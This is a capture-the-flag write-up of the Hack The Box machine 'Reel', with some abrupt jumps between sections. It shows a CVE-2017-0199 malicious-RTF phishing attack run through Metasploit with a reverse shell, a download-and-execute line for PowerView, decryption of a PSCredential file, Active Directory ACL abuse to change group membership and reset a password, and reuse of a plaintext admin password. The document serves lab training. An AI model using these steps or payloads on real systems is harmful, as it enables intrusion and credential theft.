htb-reel-nl

c:\Users\jacco>nmap -sC -sV 10.10.10.77
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-26 19:16 W. Europe Standard Time
Nmap scan report for 10.10.10.77
Host is up (0.028s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_05-28-18 11:19PM <DIR> documents
| ftp-syst:
|_ SYST: Windows_NT
22/tcp open ssh OpenSSH 7.6 (protocol 2.0)
| ssh-hostkey:
| 2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA)
| 256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA)
|_ 256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (ED25519)
25/tcp open smtp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, X11Probe:
| 220 Mail Service ready
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest:
| 220 Mail Service ready
| sequence of commands
| sequence of commands
| Hello:
| 220 Mail Service ready
| EHLO Invalid domain address.
| Help:
| 220 Mail Service ready
| DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| SIPOptions:
| 220 Mail Service ready
| sequence of commands
| sequence of commands
| |_ sequence of commands
| smtp-commands: REEL, SIZE 20480000, AUTH LOGIN PLAIN, HELP,
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port25-TCP:V=7.70%I=7%D=2/26%Time=5C758296%P=i686-pc-windows-windows%r(
SF:NULL,18,"220\x20Mail\x20Service\x20ready\r\n")%r(Hello,3A,"220\x20Mail\
--snip--
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 179.32 seconds

Thats quite an interesting attack surface we have right here! There”s no web service listening on this box, so right away we see this isn”t going to be the typical webapp-exploit-then-root machine, which is cool!

Whenever I see FTPs, the first thing I always try is anonymous login, so lets go for that.

# ftp 10.10.10.77

Connected to 10.10.10.77.
220 Microsoft FTP Service
Name (10.10.10.77:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
05-28-18  11:19PM       <DIR>          documents
226 Transfer complete.

Perfect! Let’s see what documents we can download:

ftp> cd documents
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
05-28-18  11:19PM                 2047 AppLocker.docx
05-28-18  01:01PM                  124 readme.txt
10-31-17  09:13PM                14581 Windows Event Forwarding.docx
226 Transfer complete.

After promptly getting the three files, we, as good kids, read the readme.txt first, because that is what we are supposed to do, right?

please email me any rtf format procedures - I'll review and convert.

new format / converted documents will be saved here.

Hmmm. Converting RTFs to what? DOCX maybe? Since the other documents in the directory are Microsoft Word documents, that seems a reasonable guess to make. Now, I am unable to read Windows Event Forwarding.docx, my LibreOffice spits out an error everytime I try, but I have more luck with AppLocker.docx. It says:

AppLocker procedure to be documented - hash rules for exe, msi and scripts (ps1,vbs,cmd,bat,js) are in effect.

Ok, bad news. This probably means we will have to face AppLocker once we get a shell on the box. But we are far from that! So, now what?

The wonders of metadata

We have a good amount of information from our enumeration phase. Now it is time to craft a meticulously planned several-stage attack or to bang our heads against the machine until something works. Yay, hacking!

We know from our nmap scan that the server has an SMTP service listening at port 25, which kind of sticks out now because of the readme.txt we previously read. So maybe we are capable of using this SMTP server to send e-mails, but to whom?

Well, whoever wrote/converted the documents in the FTP server, she is probably a user of the machine and therefore a potential victim. So is there a chance her user account is somewhere in the generated documents?

Now, I have a confession to make. I dont usually add it to my writeups unless it gives some useful information, but I use exiftool on almost EVERYTHING I find during reconaissance when solving CTFs or doing pentest. Itís probably some kind of derangement that affected me after my first three or four CTF-like machines involved searching for metadata in images or documents.

So you can imagine I got really happy when I ran exiftool on the three documents and one of them was bingo:

# exiftool Windows\ Event\ Forwarding.docx
ExifTool Version Number         : 11.16
File Name                       : Windows Event Forwarding.docx
Directory                       : .
File Size                       : 14 kB
File Modification Date/Time     : 2018:09:21 14:53:40+02:00
File Access Date/Time           : 2018:10:21 10:43:29+02:00
File Inode Change Date/Time     : 2018:09:30 21:12:19+02:00
File Permissions                : rw-r--r--
File Type                       : DOCX
File Type Extension             : docx
MIME Type                       : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version            : 20
Zip Bit Flag                    : 0x0006
Zip Compression                 : Deflated
Zip Modify Date                 : 1980:01:01 00:00:00
Zip CRC                         : 0x82872409
Zip Compressed Size             : 385
Zip Uncompressed Size           : 1422
Zip File Name                   : [Content_Types].xml
Creator                         : nico@megabank.com
Revision Number                 : 4
Create Date                     : 2017:10:31 18:42:00Z
Modify Date                     : 2017:10:31 18:51:00Z
Template                        : Normal.dotm
Total Edit Time                 : 5 minutes
Pages                           : 2
Words                           : 299
Characters                      : 1709
Application                     : Microsoft Office Word
Doc Security                    : None
Lines                           : 14
Paragraphs                      : 4
Scale Crop                      : No
Heading Pairs                   : Title, 1
Titles Of Parts                 :
Company                         :
Links Up To Date                : No
Characters With Spaces          : 2004
Shared Doc                      : No
Hyperlinks Changed              : No
App Version                     : 14.0000

Do you see that beautiful Creator field over there? We got an e-mail address, and probably a user of the box too!

Now I can actually make some kind of attack plan as if this was some cool heist movie (I know this is cheesy but don t ruin this for me ok?):

1. Craft a malicious RTF document (research on how to this because I”ve never done something similar!)
2. Use the SMTP service running on the box to send it to nico@megabank.com, hoping he’ll open it in a vulnerable Word version in order to convert it
3. Wait patiently for the shell

Yeah, seems easy right? (Narrator: it was not)

Malicious documents

The first thing we should do is searching for a suitable (and somewhat recent) exploit that could affect nico when he opens our RTF document. Our best friend searchsploit to the rescue!

A quick inspection of the exploit file with searchsploit -x 41934 reveals the CVE field (2017-0199) which, apart from looking more recent, is a fantastic field for searching in Metasploit.

msf > search office_word_hta

Matching Modules
================

   Name                                        Disclosure Date  Rank       Check  Description
   ----                                        ---------------  ----       -----  -----------
   exploit/windows/fileformat/office_word_hta  2017-04-14       excellent  No     Microsoft Office Word Malicious Hta Execution


msf > use exploit/windows/fileformat/office_word_hta
msf exploit(windows/fileformat/office_word_hta) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(windows/fileformat/office_word_hta) > set srvhost 10.10.14.20
srvhost => 10.10.14.20
msf exploit(windows/fileformat/office_word_hta) > set lhost 10.10.14.20
lhost => 10.10.14.20
msf exploit(windows/fileformat/office_word_hta) > show options

Module options (exploit/windows/fileformat/office_word_hta):

Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.doc yes The file name.
SRVHOST 10.10.14.20 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH default.hta yes The URI to use for the HTA file


Payload options (windows/shell/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.14.20 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Microsoft Office Word

catch shell

msf exploit(windows/fileformat/office_word_hta) > run
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 10.10.14.20:4444 
[+] msf.doc stored at /root/.msf4/local/msf.doc
[*] Using URL: http://10.10.14.20:8080/default.hta
[*] Server started.
msf exploit(windows/fileformat/office_word_hta) > [*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.10.10.77



msf exploit(windows/fileformat/office_word_hta) > sessions -l

Active sessions
===============

  Id  Name  Type               Information                                                                       Connection
  --  ----  ----               -----------                                                                       ----------
  1         shell x86/windows  Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All righ...  10.10.14.20:4444 -> 10.10.10.77:57400 (10.10.10.77)

msf exploit(windows/fileformat/office_word_hta) > sessions -i 1
[*] Starting interaction with 1...

C:\Windows\system32>whoami
whoami
htb\nico

C:\Windows\system32>

alternative for generating RTF payload : python cve-2017-0199_toolkit.py -M gen -t RTF -w puckie.rtf -u http://10.10.14.20/puckie.ps1 -x 0

tom@REEL C:\Users\tom>sharphound.exe -c all 
This program is blocked by group policy. For more information, contact yo
ur system administrator.

We finally have a shell on this box. It’s going to be easy from here, right? Of course, that malicious document thing is the peak of difficulty of this machine, is it not? (Narrator: again, it was not)

Normally, my first serious move when landing on a Windows machine is running PowerUp.ps1, analyze the results and work from there. But, before that, I like to peek around, at least the home directory of the user I have accessed with. So, to C:\Users\nico\ we go!

In his Desktop, aside from the user.txt flag (yay!), thereis an interesting file called cred.xml:

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">HTB\Tom</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692</SS>
    </Props>
  </Obj>
</Objs>

Hey, I know the type PSCredential! As the name of the file suggests, it probably contains credentials, and judging by its contents, they belong to the user tom. Thats great! Its only a matter of researching what type of file is this and how to obtain the plain-text password from it. After googling a little, two StackOverflow answers help me understand that this file is the XML representation of a serialized Powershell object, more specifically a PSCredential one. And that the Powershell command Import-Clixml can help us undoing the process:

nico@REEL C:\Users\nico\Desktop>powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Form
at-List *"

UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB

Claire

Ok, we are near! We only need to do something similar for the BACKUP_ADMINS group and see what being part of it means.

Of course, since we changed users, we need to load PowerView again:

> powershell
> IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.12.157/PowerView.ps1')

And again guided by the fantastic An Ace Up The Sleeve article, we can grant ourselves all ACL rights over BACKUP_ADMINS, since we have the WriteDacl permission:

> Add-DomainObjectACL -TargetIdentity 'Backup_Admins' -PrincipalIdentity claire -Rights All

With these rights, we should be able to add ourselves to the group:

> net group Backup_Admins /add claire

No errors, seems good! We can check it worked by running net user claire and seeing we are indeed a proud member of BACKUP_ADMINS. Great! Now what?

Note

At this point, while I was exploring Claire as a BACKUP_ADMINS member, other Hack The Box users were constantly resetting Claire’s password to other values, so if I logged out (you will see why in a moment) I couldn’t log back in. I ended up leaving Toms SSH session open and prepared a script to automate the process of resetting Claire’s password to the value I wanted so, if someone changed it, I could easily change it back. My ResetClairePassword.ps1 script was like this:

Set-DomainObjectOwner -Identity claire -OwnerIdentity tom
Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword
$SecPasswd = ConvertTo-SecureString -String 's0mepassw0rd' -AsPlainText -Force
Set-ADAccountPassword -Reset -NewPassword $SecPasswd -Identity claire 

Backup Admin

Another shameful confession. I wasted a lot of time at this point, and it was pretty frustrating. It required a lot of work reaching to this point, and it seemed it was for nothing. I couldn’t access Administrator home directory, I couldn’t read or write new files compared to base Claire, BACKUP_ADMINS didn’t have any control over other AD objects according to BloodHound So, was all this work for nothing?!

Turns out you have to log out and log in again for group changes to take effect. Its something obvious, its something I knew from Linux (it works the same way there), but my tired brain couldn’t remember it and that meant a lot of frustration and wasted time wandering around. Lesson learned (even though I thought I already knew this): if you are tired, take a break! Even if you feel the victory so near you could touch it, working with a tired mind almost always doesn’t pay off.

Ok, after this dramatic complication, we can continue! Log out, log in again, and the group change takes effect. Now, as Claire, we can access C:\Users\Administrator. Finally!! Lets read root.txt and claim our well deserved prize:

claire@REEL C:\Users\Administrator\Desktop>type root.txt
Access is denied.

God dammit!

It couldn’t be that easy, right? It seems there are other things in Administrators Desktop. Lets see what this Backup Scripts folder is.

> cd "C:\Users\Administrator\Desktop\Backup Scripts"
> dir
  Volume in drive C has no label
  Volume Serial number is CC8A-33E1

  Directory of C:\Users\Administrator\Desktop\Backup Scripts

11/02/2017	09:47 PM	<DIR>		.
11/02/2017	09:47 PM	<DIR>		..
11/03/2017	11:22 PM		    845	backup.ps1
11/02/2017	09:37 PM		    462	backup1.ps1
11/03/2017	11:21 PM		  5,642	BackupScript.ps1
11/02/2017	09:43 PM		  2,791	BackupScript.zip
11/03/2017	11:22 PM		  1,855	folders-system-state.txt
11/03/2017	11:22 PM		    308	test2.ps1.txt
		    6 File(s)		  11,903 bytes
		    2 Dir(s)      15,719,768,064 bytes free

Alright, its just digging work at this point. After reviewing these scripts one by one (which seem to be used to automate the backup process of some directories of the box), we finally find what we are looking for:

> type BackupScript.ps1
# admin password                                                                                                
$password="Cr4ckMeIfYouC4n!" 
[...]

Is this it? Are we done?

PS C:\Users\jacco> ssh Administrator@10.10.10.77
Administrator@10.10.10.77's password:Cr4ckMeIfYouC4n! Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. administrator@REEL C:\Users\Administrator>cd Desktop administrator@REEL C:\Users\Administrator\Desktop>dir Volume in drive C has no label. Volume Serial Number is CC8A-33E1 Directory of C:\Users\Administrator\Desktop 21/01/2018 14:56 <DIR> . 21/01/2018 14:56 <DIR> .. 02/11/2017 21:47 <DIR> Backup Scripts 28/10/2017 11:56 32 root.txt 1 File(s) 32 bytes 3 Dir(s) 15,675,449,344 bytes free administrator@REEL C:\Users\Administrator\Desktop>type root.txt 101*****32a